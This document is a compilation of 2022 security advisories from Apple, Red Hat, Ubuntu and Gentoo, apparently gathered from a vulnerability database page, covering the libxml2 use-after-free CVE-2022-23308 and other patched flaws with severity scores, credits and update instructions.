Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication Description: A race condition was addressed with improved state handling. CVE-2022-26765: Linus Henze of Pinauten GmbH (pinauten.de)
LaunchServices Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A sandboxed process may be able to circumvent sandbox restrictions Description: An access issue was addressed with additional sandbox restrictions on third-party applications. CVE-2022-26706: Arsenii Kostromin (0x3c3e)
libxml2 Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution Description: A use after free issue was addressed with improved memory management. CVE-2022-23308
Notes Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing a large input may lead to a denial of service Description: This issue was addressed with improved checks. CVE-2022-22673: Abhay Kailasia (@abhay_kailasia) of Lakshmi Narain College Of Technology Bhopal
Safari Private Browsing Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious website may be able to track users in Safari private browsing mode Description: A logic issue was addressed with improved state management. CVE-2022-26731: an anonymous researcher
Security Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious app may be able to bypass signature validation Description: A certificate parsing issue was addressed with improved checks. CVE-2022-26766: Linus Henze of Pinauten GmbH (pinauten.de)
Shortcuts Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A person with physical access to an iOS device may be able to access photos from the lock screen Description: An authorization issue was addressed with improved state management. CVE-2022-26703: Salman Syed (@slmnsd551)
WebKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing maliciously crafted web content may lead to code execution Description: A memory corruption issue was addressed with improved state management. WebKit Bugzilla: 238178 CVE-2022-26700: ryuzaki
WebKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A use after free issue was addressed with improved memory management. WebKit Bugzilla: 236950 CVE-2022-26709: Chijin Zhou of ShuiMuYuLin Ltd and Tsinghua wingtecher lab WebKit Bugzilla: 237475 CVE-2022-26710: Chijin Zhou of ShuiMuYuLin Ltd and Tsinghua wingtecher lab WebKit Bugzilla: 238171 CVE-2022-26717: Jeonghoon Shin of Theori
WebKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved state management. WebKit Bugzilla: 238183 CVE-2022-26716: SorryMybad (@S0rryMybad) of Kunlun Lab WebKit Bugzilla: 238699 CVE-2022-26719: Dongzhuo Zhao working with ADLab of Venustech
WebRTC Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Video self-preview in a webRTC call may be interrupted if the user answers a phone call Description: A logic issue in the handling of concurrent media was addressed with improved state handling. WebKit Bugzilla: 237524 CVE-2022-22677: an anonymous researcher
Wi-Fi Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious application may disclose restricted memory Description: A memory corruption issue was addressed with improved validation. CVE-2022-26745: an anonymous researcher
Wi-Fi Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious application may be able to elevate privileges Description: A memory corruption issue was addressed with improved state management. CVE-2022-26760: 08Tc3wBB of ZecOps Mobile EDR Team
Wi-Fi Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A remote attacker may be able to cause a denial of service Description: This issue was addressed with improved checks. CVE-2015-4142: Kostya Kortchinsky of Google Security Team
Wi-Fi Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2022-26762: Wang Yu of Cyberserval
Additional recognition
AppleMobileFileIntegrity We would like to acknowledge Wojciech Reguła (@_r3ggi) of SecuRing for their assistance.
FaceTime We would like to acknowledge Wojciech Reguła (@_r3ggi) of SecuRing for their assistance.
WebKit We would like to acknowledge James Lee, an anonymous researcher for their assistance.
Wi-Fi We would like to acknowledge 08Tc3wBB of ZecOps Mobile EDR Team for their assistance.
This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "iOS 15.5 and iPadOS 15.5". All information is also posted on the Apple Security Updates web site: https://support.apple.com/en-us/HT201222.
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. Summary:
An update for libxml2 is now available for Red Hat Enterprise Linux 8. Relevant releases/architectures:
Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64
- Description:
The libxml2 library is a development toolbox providing the implementation of various XML standards.
Security Fix(es):
- libxml2: Use-after-free of ID and IDREF attributes (CVE-2022-23308)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The desktop must be restarted (log out, then log back in) for this update to take effect. Package List:
Red Hat Enterprise Linux AppStream (v. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- Description:
Red Hat Openshift GitOps is a declarative way to implement continuous deployment for cloud native applications. Bugs fixed (https://bugzilla.redhat.com/):
2062751 - CVE-2022-24730 argocd: path traversal and improper access control allows leaking out-of-bound files 2062755 - CVE-2022-24731 argocd: path traversal allows leaking out-of-bound files 2064682 - CVE-2022-1025 Openshift-Gitops: Improper access control allows admin privilege escalation
- Description:
This release adds the new Apache HTTP Server 2.4.37 Service Pack 11 packages that are part of the JBoss Core Services offering.
This release serves as a replacement for Red Hat JBoss Core Services Apache HTTP Server 2.4.37 Service Pack 10 and includes bug fixes and enhancements. Refer to the Release Notes for information on the most significant bug fixes and enhancements included in this release. Bugs fixed (https://bugzilla.redhat.com/):
1950515 - CVE-2021-3541 libxml2: Exponential entity expansion attack bypasses all existing protection mechanisms 1954225 - CVE-2021-3516 libxml2: Use-after-free in xmlEncodeEntitiesInternal() in entities.c 1954232 - CVE-2021-3517 libxml2: Heap-based buffer overflow in xmlEncodeEntitiesInternal() in entities.c 1954242 - CVE-2021-3518 libxml2: Use-after-free in xmlXIncludeDoProcess() in xinclude.c 1956522 - CVE-2021-3537 libxml2: NULL pointer dereference when post-validating mixed content parsed in recovery mode 2056913 - CVE-2022-23308 libxml2: Use-after-free of ID and IDREF attributes 2062202 - CVE-2022-0778 openssl: Infinite loop in BN_mod_sqrt() reachable when parsing certificates 2064321 - CVE-2022-22720 httpd: Errors encountered during the discarding of request body lead to HTTP request smuggling
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Moderate: Gatekeeper Operator v0.2 security updates and bug fixes Advisory ID: RHSA-2022:1081-01 Product: Red Hat ACM Advisory URL: https://access.redhat.com/errata/RHSA-2022:1081 Issue date: 2022-03-28 CVE Names: CVE-2019-5827 CVE-2019-13750 CVE-2019-13751 CVE-2019-17594 CVE-2019-17595 CVE-2019-18218 CVE-2019-19603 CVE-2019-20838 CVE-2020-12762 CVE-2020-13435 CVE-2020-14155 CVE-2020-16135 CVE-2020-24370 CVE-2021-3200 CVE-2021-3445 CVE-2021-3521 CVE-2021-3580 CVE-2021-3712 CVE-2021-3800 CVE-2021-3999 CVE-2021-20231 CVE-2021-20232 CVE-2021-22876 CVE-2021-22898 CVE-2021-22925 CVE-2021-23177 CVE-2021-28153 CVE-2021-31566 CVE-2021-33560 CVE-2021-36084 CVE-2021-36085 CVE-2021-36086 CVE-2021-36087 CVE-2021-42574 CVE-2021-43565 CVE-2022-23218 CVE-2022-23219 CVE-2022-23308 CVE-2022-23806 CVE-2022-24407 ==================================================================== 1. Summary:
Gatekeeper Operator v0.2
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Description:
Gatekeeper Operator v0.2
Gatekeeper is an open source project that applies the OPA Constraint Framework to enforce policies on your Kubernetes clusters.
This advisory contains the container images for Gatekeeper that include security updates, and container upgrades.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Note: Gatekeeper support from the Red Hat support team is limited cases where it is integrated and used with Red Hat Advanced Cluster Management for Kubernetes. For support options for any other use, see the Gatekeeper open source project website at: https://open-policy-agent.github.io/gatekeeper/website/docs/howto/.
Security updates:
-
golang.org/x/crypto: empty plaintext packet causes panic (CVE-2021-43565)
-
golang: crypto/elliptic IsOnCurve returns true for invalid field elements (CVE-2022-23806)
The requirements to apply the upgraded images are different whether or not you used the operator. Complete the following steps, depending on your installation:
-
- Upgrade gatekeeper operator:
The gatekeeper operator that is installed by the gatekeeper operator policy
has
installPlanApprovalset toAutomatic. This setting means the operator will be upgraded automatically when there is a new version of the operator. No further action is required for upgrade. If you changed the setting forinstallPlanApprovaltomanual, then you must view each cluster to manually approve the upgrade to the operator.
- Upgrade gatekeeper operator:
The gatekeeper operator that is installed by the gatekeeper operator policy
has
-
- Upgrade gatekeeper without the operator: The gatekeeper version is specified as part of the Gatekeeper CR in the gatekeeper operator policy. To upgrade the gatekeeper version: a) Determine the latest version of gatekeeper by visiting: https://catalog.redhat.com/software/containers/rhacm2/gatekeeper-rhel8/5fadb4a18d9a79d2f438a5d9. b) Click the tag dropdown, and find the latest static tag. An example tag is 'v3.3.0-1'. c) Edit the gatekeeper operator policy and update the image tag to use the latest static tag. For example, you might change this line to image: 'registry.redhat.io/rhacm2/gatekeeper-rhel8:v3.3.0-1'.
Refer to https://open-policy-agent.github.io/gatekeeper/website/docs/howto/ for additional information.
- Bugs fixed (https://bugzilla.redhat.com/):
2030787 - CVE-2021-43565 golang.org/x/crypto: empty plaintext packet causes panic 2053429 - CVE-2022-23806 golang: crypto/elliptic IsOnCurve returns true for invalid field elements
- References:
https://access.redhat.com/security/cve/CVE-2019-5827 https://access.redhat.com/security/cve/CVE-2019-13750 https://access.redhat.com/security/cve/CVE-2019-13751 https://access.redhat.com/security/cve/CVE-2019-17594 https://access.redhat.com/security/cve/CVE-2019-17595 https://access.redhat.com/security/cve/CVE-2019-18218 https://access.redhat.com/security/cve/CVE-2019-19603 https://access.redhat.com/security/cve/CVE-2019-20838 https://access.redhat.com/security/cve/CVE-2020-12762 https://access.redhat.com/security/cve/CVE-2020-13435 https://access.redhat.com/security/cve/CVE-2020-14155 https://access.redhat.com/security/cve/CVE-2020-16135 https://access.redhat.com/security/cve/CVE-2020-24370 https://access.redhat.com/security/cve/CVE-2021-3200 https://access.redhat.com/security/cve/CVE-2021-3445 https://access.redhat.com/security/cve/CVE-2021-3521 https://access.redhat.com/security/cve/CVE-2021-3580 https://access.redhat.com/security/cve/CVE-2021-3712 https://access.redhat.com/security/cve/CVE-2021-3800 https://access.redhat.com/security/cve/CVE-2021-3999 https://access.redhat.com/security/cve/CVE-2021-20231 https://access.redhat.com/security/cve/CVE-2021-20232 https://access.redhat.com/security/cve/CVE-2021-22876 https://access.redhat.com/security/cve/CVE-2021-22898 https://access.redhat.com/security/cve/CVE-2021-22925 https://access.redhat.com/security/cve/CVE-2021-23177 https://access.redhat.com/security/cve/CVE-2021-28153 https://access.redhat.com/security/cve/CVE-2021-31566 https://access.redhat.com/security/cve/CVE-2021-33560 https://access.redhat.com/security/cve/CVE-2021-36084 https://access.redhat.com/security/cve/CVE-2021-36085 https://access.redhat.com/security/cve/CVE-2021-36086 https://access.redhat.com/security/cve/CVE-2021-36087 https://access.redhat.com/security/cve/CVE-2021-42574 https://access.redhat.com/security/cve/CVE-2021-43565 https://access.redhat.com/security/cve/CVE-2022-23218 https://access.redhat.com/security/cve/CVE-2022-23219 https://access.redhat.com/security/cve/CVE-2022-23308 https://access.redhat.com/security/cve/CVE-2022-23806 https://access.redhat.com/security/cve/CVE-2022-24407 https://access.redhat.com/security/updates/classification/#moderate https://open-policy-agent.github.io/gatekeeper/website/docs/howto/
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2022 Red Hat, Inc. ========================================================================== Ubuntu Security Notice USN-5324-1 March 14, 2022
libxml2 vulnerability
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 21.10
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
Summary:
libxml2 could be made to crash or run programs if it opened a specially crafted file. An attacker could use this issue to cause libxml2 to crash, resulting in a denial of service, or possibly execute arbitrary code.
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 21.10: libxml2 2.9.12+dfsg-4ubuntu0.1 libxml2-utils 2.9.12+dfsg-4ubuntu0.1
Ubuntu 20.04 LTS: libxml2 2.9.10+dfsg-5ubuntu0.20.04.2 libxml2-utils 2.9.10+dfsg-5ubuntu0.20.04.2
Ubuntu 18.04 LTS: libxml2 2.9.4+dfsg1-6.1ubuntu1.5 libxml2-utils 2.9.4+dfsg1-6.1ubuntu1.5
In general, a standard system update will make all the necessary changes
Show details on source website{
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"vectorString": "AV:N/AC:M/AU:N/C:N/I:N/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"exploitabilityScore": 3.9,
"id": "CVE-2022-23308",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2022-23308",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"id": "CVE-2022-23308",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-202202-1722",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-412332",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2022-23308",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-412332"
},
{
"db": "VULMON",
"id": "CVE-2022-23308"
},
{
"db": "CNNVD",
"id": "CNNVD-202202-1722"
},
{
"db": "NVD",
"id": "CVE-2022-23308"
},
{
"db": "NVD",
"id": "CVE-2022-23308"
}
]
},
"description": {
"_id": null,
"data": "valid.c in libxml2 before 2.9.13 has a use-after-free of ID and IDREF attributes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory GLSA 202210-03\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n https://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: High\n Title: libxml2: Multiple Vulnerabilities\n Date: October 16, 2022\n Bugs: #833809, #842261, #865727\n ID: 202210-03\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities have been discovered in libxml2, the worst of\nwhich could result in arbitrary code execution. \n\nBackground\n==========\n\nlibxml2 is the XML C parser and toolkit developed for the GNOME project. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 dev-libs/libxml2 \u003c 2.10.2 \u003e= 2.10.2\n\nDescription\n===========\n\nMultiple vulnerabilities have been discovered in libxml2. Please review\nthe CVE identifiers referenced below for details. \n\nImpact\n======\n\nPlease review the referenced CVE identifiers for details. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll libxml2 users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=dev-libs/libxml2-2.10.2\"\n\nReferences\n==========\n\n[ 1 ] CVE-2022-23308\n https://nvd.nist.gov/vuln/detail/CVE-2022-23308\n[ 2 ] CVE-2022-29824\n https://nvd.nist.gov/vuln/detail/CVE-2022-29824\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/202210-03\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2022 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttps://creativecommons.org/licenses/by-sa/2.5\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-2022-05-16-1 iOS 15.5 and iPadOS 15.5\n\niOS 15.5 and iPadOS 15.5 addresses the following issues. \nInformation about the security content is also available at\nhttps://support.apple.com/HT213258. \n\nAppleAVD\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A use after free issue was addressed with improved\nmemory management. \nCVE-2022-26702: an anonymous researcher\n\nAppleGraphicsControl\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: Processing a maliciously crafted image may lead to arbitrary\ncode execution\nDescription: A memory corruption issue was addressed with improved\ninput validation. \nCVE-2022-26751: Michael DePlante (@izobashi) of Trend Micro Zero Day\nInitiative\n\nAVEVideoEncoder\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking. \nCVE-2022-26736: an anonymous researcher\nCVE-2022-26737: an anonymous researcher\nCVE-2022-26738: an anonymous researcher\nCVE-2022-26739: an anonymous researcher\nCVE-2022-26740: an anonymous researcher\n\nDriverKit\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious application may be able to execute arbitrary code\nwith system privileges\nDescription: An out-of-bounds access issue was addressed with\nimproved bounds checking. \nCVE-2022-26763: Linus Henze of Pinauten GmbH (pinauten.de)\n\nGPU Drivers\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed with improved\nstate management. \nCVE-2022-26744: an anonymous researcher\n\nImageIO\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A remote attacker may be able to cause unexpected application\ntermination or arbitrary code execution\nDescription: An integer overflow issue was addressed with improved\ninput validation. \nCVE-2022-26711: actae0n of Blacksun Hackers Club working with Trend\nMicro Zero Day Initiative\n\nIOKit\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A race condition was addressed with improved locking. \nCVE-2022-26701: chenyuwang (@mzzzz__) of Tencent Security Xuanwu Lab\n\nIOMobileFrameBuffer\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed with improved\nstate management. \nCVE-2022-26768: an anonymous researcher\n\nIOSurfaceAccelerator\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious application may be able to execute arbitrary code\nwith kernel privileges\nDescription: A memory corruption issue was addressed with improved\nstate management. \nCVE-2022-26771: an anonymous researcher\n\nKernel\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed with improved\nvalidation. \nCVE-2022-26714: Peter Nguy\u1ec5n V\u0169 Ho\u00e0ng (@peternguyen14) of STAR Labs\n(@starlabs_sg)\n\nKernel\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A use after free issue was addressed with improved\nmemory management. \nCVE-2022-26757: Ned Williamson of Google Project Zero\n\nKernel\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: An attacker that has already achieved kernel code execution\nmay be able to bypass kernel memory mitigations\nDescription: A memory corruption issue was addressed with improved\nvalidation. \nCVE-2022-26764: Linus Henze of Pinauten GmbH (pinauten.de)\n\nKernel\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious attacker with arbitrary read and write capability\nmay be able to bypass Pointer Authentication\nDescription: A race condition was addressed with improved state\nhandling. \nCVE-2022-26765: Linus Henze of Pinauten GmbH (pinauten.de)\n\nLaunchServices\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A sandboxed process may be able to circumvent sandbox\nrestrictions\nDescription: An access issue was addressed with additional sandbox\nrestrictions on third-party applications. \nCVE-2022-26706: Arsenii Kostromin (0x3c3e)\n\nlibxml2\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A remote attacker may be able to cause unexpected application\ntermination or arbitrary code execution\nDescription: A use after free issue was addressed with improved\nmemory management. \nCVE-2022-23308\n\nNotes\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: Processing a large input may lead to a denial of service\nDescription: This issue was addressed with improved checks. \nCVE-2022-22673: Abhay Kailasia (@abhay_kailasia) of Lakshmi Narain\nCollege Of Technology Bhopal\n\nSafari Private Browsing\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious website may be able to track users in Safari\nprivate browsing mode\nDescription: A logic issue was addressed with improved state\nmanagement. \nCVE-2022-26731: an anonymous researcher\n\nSecurity\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious app may be able to bypass signature validation\nDescription: A certificate parsing issue was addressed with improved\nchecks. \nCVE-2022-26766: Linus Henze of Pinauten GmbH (pinauten.de)\n\nShortcuts\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A person with physical access to an iOS device may be able to\naccess photos from the lock screen\nDescription: An authorization issue was addressed with improved state\nmanagement. \nCVE-2022-26703: Salman Syed (@slmnsd551)\n\nWebKit\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: Processing maliciously crafted web content may lead to code\nexecution\nDescription: A memory corruption issue was addressed with improved\nstate management. \nWebKit Bugzilla: 238178\nCVE-2022-26700: ryuzaki\n\nWebKit\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A use after free issue was addressed with improved\nmemory management. \nWebKit Bugzilla: 236950\nCVE-2022-26709: Chijin Zhou of ShuiMuYuLin Ltd and Tsinghua\nwingtecher lab\nWebKit Bugzilla: 237475\nCVE-2022-26710: Chijin Zhou of ShuiMuYuLin Ltd and Tsinghua\nwingtecher lab\nWebKit Bugzilla: 238171\nCVE-2022-26717: Jeonghoon Shin of Theori\n\nWebKit\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: Processing maliciously crafted web content may lead to\narbitrary code execution\nDescription: A memory corruption issue was addressed with improved\nstate management. \nWebKit Bugzilla: 238183\nCVE-2022-26716: SorryMybad (@S0rryMybad) of Kunlun Lab\nWebKit Bugzilla: 238699\nCVE-2022-26719: Dongzhuo Zhao working with ADLab of Venustech\n\nWebRTC\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: Video self-preview in a webRTC call may be interrupted if the\nuser answers a phone call\nDescription: A logic issue in the handling of concurrent media was\naddressed with improved state handling. \nWebKit Bugzilla: 237524\nCVE-2022-22677: an anonymous researcher\n\nWi-Fi\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious application may disclose restricted memory\nDescription: A memory corruption issue was addressed with improved\nvalidation. \nCVE-2022-26745: an anonymous researcher\n\nWi-Fi\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious application may be able to elevate privileges\nDescription: A memory corruption issue was addressed with improved\nstate management. \nCVE-2022-26760: 08Tc3wBB of ZecOps Mobile EDR Team\n\nWi-Fi\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A remote attacker may be able to cause a denial of service\nDescription: This issue was addressed with improved checks. \nCVE-2015-4142: Kostya Kortchinsky of Google Security Team\n\nWi-Fi\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2\nand later, iPad 5th generation and later, iPad mini 4 and later, and\niPod touch (7th generation)\nImpact: A malicious application may be able to execute arbitrary code\nwith system privileges\nDescription: A memory corruption issue was addressed with improved\nmemory handling. \nCVE-2022-26762: Wang Yu of Cyberserval\n\nAdditional recognition\n\nAppleMobileFileIntegrity\nWe would like to acknowledge Wojciech Regu\u0142a (@_r3ggi) of SecuRing\nfor their assistance. \n\nFaceTime\nWe would like to acknowledge Wojciech Regu\u0142a (@_r3ggi) of SecuRing\nfor their assistance. \n\nWebKit\nWe would like to acknowledge James Lee, an anonymous researcher for\ntheir assistance. \n\nWi-Fi\nWe would like to acknowledge 08Tc3wBB of ZecOps Mobile EDR Team for\ntheir assistance. \n\nThis update is available through iTunes and Software Update on your\niOS device, and will not appear in your computer\u0027s Software Update\napplication, or in the Apple Downloads site. Make sure you have an\nInternet connection and have installed the latest version of iTunes\nfrom https://www.apple.com/itunes/ iTunes and Software Update on the\ndevice will automatically check Apple\u0027s update server on its weekly\nschedule. When an update is detected, it is downloaded and the option\nto be installed is presented to the user when the iOS device is\ndocked. We recommend applying the update immediately if possible. \nSelecting Don\u0027t Install will present the option the next time you\nconnect your iOS device. The automatic update process may take up to\na week depending on the day that iTunes or the device checks for\nupdates. You may manually obtain the update via the Check for Updates\nbutton within iTunes, or the Software Update on your 